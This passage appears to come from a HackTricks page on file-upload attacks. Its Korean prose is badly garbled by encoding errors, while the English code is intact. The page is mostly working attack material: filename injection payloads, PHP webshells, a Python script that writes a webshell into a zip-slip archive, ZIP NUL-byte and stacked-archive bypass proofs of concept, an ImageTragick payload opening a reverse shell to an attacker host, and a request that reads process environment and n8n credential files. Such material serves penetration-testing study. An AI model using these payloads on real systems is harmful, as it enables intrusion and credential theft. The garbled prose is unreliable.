ģ¼ė¶ ė ź±°ģ upload ķøė¤ė¬ė snprintf() ėė ģ ģ¬ķ ķØģ넼 ģ¬ģ©ķ“ ėØģ¼ ķģ¼ ģ
ė”ėė”ė¶ķ° multi-file ė°°ģ“ģ źµ¬ģ±ķėė°, ģ“넼 źµė¬ķ ģģ¬ _FILES 구씰넼 ģģ”°ķėė” ė§ė¤ ģ ģģµėė¤. snprintf() ėģģ ė¶ģ¼ģ¹ģ ģ림(truncation) ė문ģ ģ źµķź² ģ”°ģė ėØģ¼ ģ
ė”ėź° ģė² ģø”ģģ ģ¬ė¬ ģøė±ģ¤ķė ķģ¼ģ²ė¼ ė³“ģ¼ ģ ģģ“, ģź²©ķ ķķ넼 ź°ģ ķė ė”ģ§(e.g., multi-file uploadė” ģ²ė¦¬ķģ¬ ģģ ķģ§ ģģ ė¶źø°ė„¼ ķķė ź²½ģ°)ģ ķ¼ėģķµėė¤. ģ¤ėė ģė ķģ ģ¬ė”ģ§ė§ ģ“ āindex corruptionā ķØķ“ģ ź°ė CTFsė ģ¤ėė ģ½ėė² ģ“ģ¤ģģ ė¤ģ ė±ģ„ķ©ėė¤.
From File upload to other vulnerabilities
- filenameģ
../../../tmp/lol.pngė” ģ¤ģ ķź³ path traversalģ ģėķģøģ - filenameģ
sleep(10)-- -.jpgė” ģ¤ģ ķė©“ SQL injectionģ ė¬ģ±ķ ģ ģģµėė¤ - filenameģ
<svg onload=alert(document.domain)>ė” ģ¤ģ ķė©“ XSS넼 ė¬ģ±ķ ģ ģģµėė¤ - filenameģ
; sleep 10;ė” ģ¤ģ ķģ¬ ģ¼ė¶ command injectionģ ķ ģ¤ķøķģøģ (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- ė§ģ½ ģ¹ ģė²ģ ķ¹ģ URLģģ ģ“미ģ§ė„¼ ź°ģ øģ¤ėė” ģ§ģķ ģ ģė¤ė©“, SSRF넼 ģ ģ©ķ“ė³¼ ģ ģģµėė¤. ģ“ ģ“ėÆøģ§ź° ģ“ė¤ ź³µź° ģ¬ģ“ķøģ ģ ģ„ė ź²½ģ°, https://iplogger.org/invisible/ģ URLģ ģ§ģ ķģ¬ ėŖØė 방문ģģ ģ 볓넼 ķģ¹ ģė ģģµėė¤.
- XXE and CORS bypass with PDF-Adobe upload
- ķ¹ģ ģ ģė PDFė” XSS: ė¤ģ ķģ“ģ§ė inject PDF data to obtain JS execution넼 ģ¤ėŖ ķ©ėė¤. PDF넼 ģ ė”ėķ ģ ģė¤ė©“ 주ģ“ģ§ ģ§ģ¹Øģ ė°ė¼ ģģģ JS넼 ģ¤ķķė PDF넼 ģ¤ė¹ķ ģ ģģµėė¤.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- ķģ¼ ģ ė”ė ģ size limitģ“ ģėģ§ ķģøķģøģ
ė¤ģģ ģ ė”ėė” ė¬ģ±ķ ģ ģė ģģ 10ź°ģ§ģ ėė¤ (ģ¶ģ²: here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
ė¤ė„ø ķģ¼ ģ ķģ https://en.wikipedia.org/wiki/List_of_file_signatures 넼 ģ°øź³ ķģøģ.
Zip/Tar File Automatically decompressed Upload
ģė² ė“ė¶ģģ ģģ¶ ķ“ģ ė ZIPģ ģ ė”ėķ ģ ģė¤ė©“, ė¤ģ ė ź°ģ§ė„¼ ģėķ ģ ģģµėė¤:
Symlink
ė¤ė„ø ķģ¼ģ ėķ ģ¬ė³¼ė¦ ė§ķ¬ė„¼ ķ¬ķØķ ė§ķ¬ė„¼ ģ ė”ėķė©“, ģģ¶ ķ“ģ ė ķģ¼ģ ģ ź·¼ķ ė ė§ķ¬ė ķģ¼ģ ģ ź·¼ķź² ė©ėė¤:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
ė¤ė„ø ķ“ėģ ģģ¶ ķ“ģ
ģģ¶ ķ“ģ ź³¼ģ ģģ ėė ķ 리ģ ķģ¼ģ“ ģźø°ģ¹ ģź² ģģ±ėė 문ģ ė ģ¬ź°ķ©ėė¤. ģ“ źµ¬ģ”°ź° ģ ģ± ķģ¼ ģ ė”ė넼 ķµķ OS ģģ¤ģ ėŖ ė ¹ ģ¤ķģ¼ė”ė¶ķ° 볓ķøķ ź²ģ“ė¼ė ģ“ė°ģ ź°ģ ź³¼ ė¬ė¦¬, ZIP ģ칓ģ“ėø ķ¬ė§·ģ ź³ģøµģ ģģ¶ ģ§ģź³¼ ėė ķ 리 ķøėė²ģ¤ źø°ė„ģ ģ ģ©ķ ģ ģģµėė¤. ģ“넼 ķµķ“ 공격ģė ģģ¶ ķ“ģ źø°ė„ģ ģ”°ģķģ¬ ģ ķģ ģ°ķķź³ ģģ ķ ģ ė”ė ėė ķ 리 ė°ģ¼ė” ė²ģ“ė ģ ģģµėė¤.
ģ“ė¬ķ ķģ¼ģ ģ ģķźø° ģķ ģėķė ģµģ¤ķė”ģģ evilarc on GitHubģģ ģ“ģ©ķ ģ ģģµėė¤. ģ ķøė¦¬ķ° ģ¬ģ© ģģė ė¤ģź³¼ ź°ģµėė¤:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
ėķ, symlink trick with evilarcė ķėģ ģµģ
ģ
ėė¤. ėŖ©ķź° /flag.txt ź°ģ ķģ¼ģ ķź¹ģ¼ė” ķė ź²ģ“ė¼ė©“, ķ“ė¹ ķģ¼ė”ģ symlink넼 ģģ¤ķ
ģ ģģ±ķ“ģ¼ ķ©ėė¤. ģ“ė evilarcź° ėģ ģ¤ ģ¤ė„넼 ź²Ŗģ§ ģėė” ė³“ģ„ķ©ėė¤.
ģėė ģ ģ± zip ķģ¼ģ ģģ±ķźø° ģķ“ ģ¬ģ©ė Python ģ½ėģ ģģ ėė¤:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
ģģøķ ė“ģ©ģ ģ문 ź²ģ물ģ ķģøķģøģ: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP ģ½ėė
$_REQUESTė³ģė” ģ ė¬ė ėŖ ė ¹ģ ģ¤ķķėė” ģģ±ėė¤.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: ģ¬ė¬ ķģ¼ģ ģģ±ķź³ ģ“ ķģ¼ė¤ģ ķ¬ķØķė zip ģ칓ģ“ėøė„¼ ė§ė ė¤.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: zip ė“ė¶ģ ķģ¼ ģ“ė¦ģ vi ėė ķ„ģ¤ ķøģ§źø°ė” ė³ź²½ķģ¬ ėė ķ 리 ķøėė²ģ¤ė„¼ ģķ“ āxxAā넼 ā../āė” ė°ź¾¼ė¤.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
ė°±ģėź° PHPģ ZipArchiveė” ZIP ģķøė¦¬ė„¼ ź²ģ¦ķģ§ė§, ģ¶ģ¶ ģ ķģ¼ ģģ¤ķ ģ raw namesė” źø°ė”ķė©“, ķģ¼ėŖ ķėģ NUL (0x00)ģ ģ½ģ ķ“ ķģ©ėģ§ ģė ķģ„ģ넼 ģ¤ėØøźøķ ģ ģė¤. ZipArchiveė ģķøė¦¬ ģ“ė¦ģ Cāstringģ¼ė” ģ·Øźøķ“ 첫 ė²ģ§ø NULģģ ģė¼ė“ģ§ė§, ķģ¼ģģ¤ķ ģ NUL ė¤ģ ė“ģ©ģ ķ¬ķØķ ģ 첓 ģ“ė¦ģ źø°ė”ķė¤.
High-level flow:
- ģ ģģ ģø ģ»Øķ ģ“ė ķģ¼(ģ: ģ ķØķ PDF)ģ ģ¤ė¹ķź³ , magic/MIMEź° PDFė” ģ ģ§ėėė” ģ¤ķøė¦¼ģ ģģ PHP ģ¤ķ ģ ģė² ėķė¤.
- ķģ¼ ģ“ė¦ģ
shell.php..pdfģ²ė¼ ģ ķź³ , zipģ¼ė” ģģ¶ķ ė¤ģ ZIP ė”컬 ķ¤ėģ ģ¤ģ ėė ķ°ė¦¬ ķģ¼ėŖ ģ ķ„ģ¤ ķøģ§ķģ¬.phpė¤ģģ 첫 ė²ģ§ø.넼0x00ģ¼ė” źµģ²“ķė©“shell.php\x00.pdfź° ėė¤. - ZipArchiveģ ģ씓ķė ź²ģ¦źø°ė
shell.php .pdfė” ā볓ģ¬ā ķģ©ķź³ , ģ¶ģ¶źø°ėshell.php넼 ėģ¤ķ¬ģ źø°ė”ķ“ ģ ė”ė ķ“ėź° ģ¤ķ ź°ė„ķė©“ RCEė” ģ“ģ“ģ§ė¤.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
ė øķø
- ķģ¼ ģ“ė¦ģ“ ģ¬ģ©ėė ė ź³³(ė”컬 ė° ģ¤ģ ėė ķ°ė¦¬)ģ ėŖØė ė³ź²½ķģøģ. ģ¼ė¶ ėźµ¬ė ģ¶ź° data descriptor ķėŖ©ģ ė ģ¶ź°ķźø°ė ķėÆė”, 씓ģ¬ķė©“ ėŖØė name ķė넼 ģ”°ģ ķģøģ.
- payload ķģ¼ģ ģ¬ģ ķ ģė² ģø” magic/MIME sniffingģ ķµź³¼ķ“ģ¼ ķ©ėė¤. PHP넼 PDF ģ¤ķøė¦¼ģ ģė² ė©ķė©“ ķ¤ėź° ģ ķØķ ģķė” ģ ģ§ė©ėė¤.
- enum/validation ź²½ė”ģ extraction/write ź²½ė”ź° 문ģģ“ ģ²ė¦¬ ė°©ģģģ ė¶ģ¼ģ¹ķė ź²½ģ°ģ ģėķ©ėė¤.
ģ¤ģ²©/ģ°ź²°ė ZIPs (ķģ ė¶ģ¼ģ¹)
ė ź°ģ ģ ķØķ ZIP ķģ¼ģ ģ°ź²°ķė©“, ģė” ė¤ė„ø ķģź° ģė” ė¤ė„ø EOCD ė ģ½ė넼 ģ°øģ”°ķė blobģ“ ģģ±ė©ėė¤. ė§ģ ėźµ¬ė ė§ģ§ė§ End Of Central Directory (EOCD)넼 ģ°¾ė ė°ė©“, ģ¼ė¶ ė¼ģ“ėøė¬ė¦¬(ģ: ķ¹ģ ģķ¬ķė”ģ°ģ ZipArchive)ė ė°ź²¬ķ 첫 ė²ģ§ø ģ칓ģ“ėøė„¼ ķģ±ķ ģ ģģµėė¤. ź²ģ¦ģ“ 첫 ė²ģ§ø ģ칓ģ“ėøė„¼ ģ“ź±°ķė ėģ ģ¶ģ¶ģ“ ė§ģ§ė§ EOCD넼 ė°ė„“ė ė¤ė„ø ėźµ¬ė” ģķėė©“, ģ ģģ ģø ģ칓ģ“ėøė ź²ģ¬ ķėŖ©ģ ķµź³¼ķė ė°ė©“ ģ ģģ ģø ģ칓ģ“ėøź° ģ¶ģ¶ė ģ ģģµėė¤.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
ģ ģ© ķØķ“
- ķģ©ėė ķģ(ģ: PDF)ģ ģ ģ ģ칓ģ“ėø ķėģ ģ°ØėØė ķģ„ģ넼 ķ¬ķØķ ė ė²ģ§ø ģ칓ģ“ėø(ģ:
shell.php)넼 ė§ėėė¤. - ģ“ė¤ģ ģ“ģ“ė¶ģ
ėė¤:
cat benign.zip evil.zip > combined.zip. - ģė²ź° ķ ķģė”ė ź²ģ¦(benign.zipė” ģøģ)ķģ§ė§ ė¤ė„ø ķģė”ė ģģ¶ģ ķģ“(evil.zipģ ģ²ė¦¬) ģ°ØėØė ķģ¼ģ“ ģ¶ģ¶ ź²½ė”ģ ėģ“ź² ė©ėė¤.
ImageTragic
ģ“ ģ·Øģ½ģ (ImageMagick , 7.0.1-1) ģ ģ ģ©ķė ¤ė©“ ģ“ėÆøģ§ ķģ„ģė” ģ“ ė“ģ©ģ ģ ė”ėķģøģ (ķ“ė¹ exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNGģ PHP Shell ģ½ģ
PNG ķģ¼ģ IDAT ģ²ķ¬ģ PHP Shellģ ģ½ģ
ķė©“ ķ¹ģ ģ“ėÆøģ§ ģ²ė¦¬ ģģ
ģ ķØź³¼ģ ģ¼ė” ģ°ķķ ģ ģģµėė¤. PHP-GDģ imagecopyresized ė° imagecopyresampled ķØģė ź°ź° ģ“ėÆøģ§ ė¦¬ģ¬ģ“ģ§ź³¼ 리ģķė§ģ ķķ ģ¬ģ©ėėÆė” ģ“ ė§„ė½ģģ ķ¹ķ ź“ė Øģ“ ķ½ėė¤. ģ½ģ
ė PHP Shellģ“ ģ“ė¬ķ ģģ
ģė ģķ„ģ ė°ģ§ ģź³ ėØģ ģģ ģ ģė¤ė ģ ģ ķ¹ģ ģķ©ģģ ķ° ģ“ģ ģ
ėė¤.
ģ“ źø°ė²ģ ė°©ė²ė” ź³¼ ģ ģ¬ģ ģģ©ģ ķ¬ķØķ ģģøķ ė¶ģģ ė¤ģ źøģ ģ ź³µė©ėė¤: āEncoding Web Shells in PNG IDAT chunksā. ģ“ ģė£ė ķė”ģøģ¤ģ ź·ø ģķ„ģ ėķ ķ¬ź“ģ ģø ģ“ķ“넼 ģ ź³µķ©ėė¤.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot ķģ¼
Polyglot ķģ¼ģ ģ¬ģ“ė²ė³“ģģģ ė ķ¹ķ ėźµ¬ė”, ģ¬ė¬ ķģ¼ ķ¬ė§·ģ ėģģ ģ ķØķź² ź°ģ§ ģ ģė 칓ė©ė ģØģ²ė¼ ģėķ©ėė¤. ķ„미ė”ģ“ ģė”ė GIFARź° ģėė°, ģ“ė GIFģ RAR ģ칓ģ“ėø źø°ė„ģ ėģģ ģķķė ķģ“ėøė¦¬ėģ ėė¤. ģ“ė¬ķ ķģ¼ģ ģ“ ģ”°ķ©ģ źµķėģ§ ģģ¼ė©° GIFģ JS ėė PPTģ JS ź°ģ ģ”°ķ©ė ź°ė„ķ©ėė¤.
Polyglot ķģ¼ģ ķµģ¬ ģ ģ©ģ±ģ ķģ¼ ķģ źø°ė°ģ¼ė” ķģ¼ģ ķķ°ė§ķė 볓ģ ģ”°ģ¹ė„¼ ģ°ķķ ģ ģė¤ė ģ ģ ģģµėė¤. ģ¬ė¬ ģ ķ리ģ¼ģ“ģ ģģė ģ ģ¬ģ ģ¼ė” ģķķ ķ¬ė§·(e.g., JS, PHP, ėė Phar ķģ¼)ģ“ ģ ė”ėėė ź²ģ ė§źø° ģķ“ JPEG, GIF, DOC ź°ģ ķ¹ģ ķģ¼ ķģ ė§ ģ ė”ė넼 ķģ©ķė ź²ģ“ ģ¼ė°ģ ģ ėė¤. ź·øė¬ė polyglotģ ģ¬ė¬ ķģ¼ ķģ ģ źµ¬ģ”°ģ źø°ģ¤ģ ėģģ ė§ģ”±ķØģ¼ė”ģØ ģ“ė¬ķ ģ ķģ ģė°ķ ģ°ķķ ģ ģģµėė¤.
ģ ģė „ģ“ ėėė¼ė polyglotė ķź³ģ ģ§ė©“ķźø°ė ķ©ėė¤. ģ넼 ė¤ģ“, polyglotź° PHAR ķģ¼ (PHp ARchive)ź³¼ JPEG넼 ėģģ ķ¬ķØķ ģ ģė¤ ķėė¼ė, ģ ė”ė ģ±ź³µ ģ¬ė¶ė ķė«ķ¼ģ ķģ¼ ķģ„ģ ģ ģ± ģ ė¬ė ¤ ģģ ģ ģģµėė¤. ģģ¤ķ ģ“ ķģ© ź°ė„ķ ķģ„ģģ ėķ“ ģź²©ķė¤ė©“, polyglotģ ėØģķ źµ¬ģ”°ģ ģ“ģ¤ģ±ė§ģ¼ė”ė ģ ė”ė넼 볓ģ„ķģ§ ėŖ»ķ ģ ģģµėė¤.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
PDFģø ģ² ķģ¬ ģ ķØķ JSON ģ ė”ėķźø°
ķģ©ėģ§ ģėė¼ė PDFė” ģģ”°ķģ¬ ģ ķØķ JSON ķģ¼ģ ģ ė”ėķØģ¼ė”ģØ ķģ¼ ķģ ķģ§ė„¼ ķķ¼ķė ė°©ė² (źø°ė² ģ¶ģ²: this blog post):
mmmagiclibrary:%PDFė§¤ģ§ ė°ģ“ķøź° ģ²ģ 1024 ė°ģ“ķø ģ“ė“ģ ģģ¼ė©“ ģ ķØķė¤ (ģģ ė ķ¬ģ¤ķø ģ°øģ”°)pdfliblibrary: JSONģ ķė ė“ė¶ģ ź°ģ§ PDF ķ¬ė§·ģ ģ¶ź°ķģ¬ ė¼ģ“ėøė¬ė¦¬ź° ģ“넼 PDFė” ģøģķź² ķė¤ (ģģ ė ķ¬ģ¤ķø ģ°øģ”°)filebinary: ķģ¼ģģ ģµė 1048576 ė°ģ“ķøź¹ģ§ ģ½ģ ģ ģė¤. ģ“ė³“ė¤ ķ° JSONģ ģģ±ķ“ ėģ¤ģ JSONģ¼ė” ķģ±ķģ§ ėŖ»ķź² ķ ė¤ģ, ź·ø JSON ģģ ģ¤ģ PDFģ ģ“źø° ė¶ė¶ģ ė£ģ¼ė©“ fileģ ģ“넼 PDFė” ź°ģ£¼ķė¤
Content-Type ķ¼ėģ ķµķ ģģ ķģ¼ ģ½źø°
ģ¼ė¶ ģ
ė”ė ķøė¤ė¬ė ģģ² ė³øė¬øģ ķģ±ķ 결과넼 ģ 뢰ķė¤ (ģ: context.getBodyData().files) ź·øė¦¬ź³ ėØ¼ģ Content-Type: multipart/form-data넼 ź°ģ ķģ§ ģź³ ėģ¤ģ file.filepathė”ė¶ķ° ķģ¼ģ ė³µģ¬ķ©ėė¤. ģė²ź° application/jsonģ ķģ©ķė¤ė©“, filepathź° ģģģ ė”컬 ź²½ė”넼 ź°ė¦¬ķ¤ėė” ķė ź°ģ§ files ź°ģ²“넼 ģ ź³µķģ¬ ģ
ė”ė ķė¦ģ ģģ ķģ¼ ģ½źø° ķ리미ķ°ėøė” ė°źæ ģ ģģµėė¤.
ģ ė”ėė ė°ģ“ė리넼 HTTP ģėµģ¼ė” ė°ķķė ķ¼ ģķ¬ķė”ģ°ģ ėķ ģģ POST:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
ė°±ģėź° file.filepath넼 ė³µģ¬ķėÆė”, ģėµģ ķ“ė¹ ź²½ė”ģ ė“ģ©ģ ė°ķķė¤.
ģ¼ė°ģ ģø ķė¦: /proc/self/environģ ģ½ģ“ $HOMEģ ķģøķ ė¤, $HOME/.n8n/configģģ ķ¤ė„¼, $HOME/.n8n/database.sqliteģģ ģ¬ģ©ģ ģė³ģ넼 ģ»ėė¤.
ģ°øź³ ģė£
- n8n form upload Content-Type confusion ā arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab ā Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD ā CVE-2023-45878
- 0xdf ā HTB: TheFrizz
- The Art of PHP: CTFāborn exploits and techniques
- CVE-2024-21546 ā NVD entry
- PoC gist for LFM .php. bypass
- 0xdf ā HTB Environment (UniSharp LFM upload ā PHP RCE)
- HTB: Media ā WMP NTLM leak ā NTFS junction to webroot RCE ā FullPowers + GodPotato to SYSTEM
- Microsoft ā mklink (command reference)
- 0xdf ā HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion ā PHP RCE)
Tip
AWS ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ķ“ķ¹ ė°°ģ°źø° ė° ģ°ģµķźø°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ģ§ģķźø°
- źµ¬ė ź³ķ ķģøķźø°!
- **š¬ ėģ¤ģ½ė 그룹 ėė ķ ė ź·øėØ ź·øė£¹ģ ģ°øģ¬ķź±°ė ķøģķ° š¦ @hacktricks_live넼 ķė”ģ°ķģøģ.
- HackTricks ė° HackTricks Cloud ź¹ķėø ė¦¬ķ¬ģ§ķ 리ģ PRģ ģ ģ¶ķģ¬ ķ“ķ¹ ķøė¦ģ ź³µģ ķģøģ.


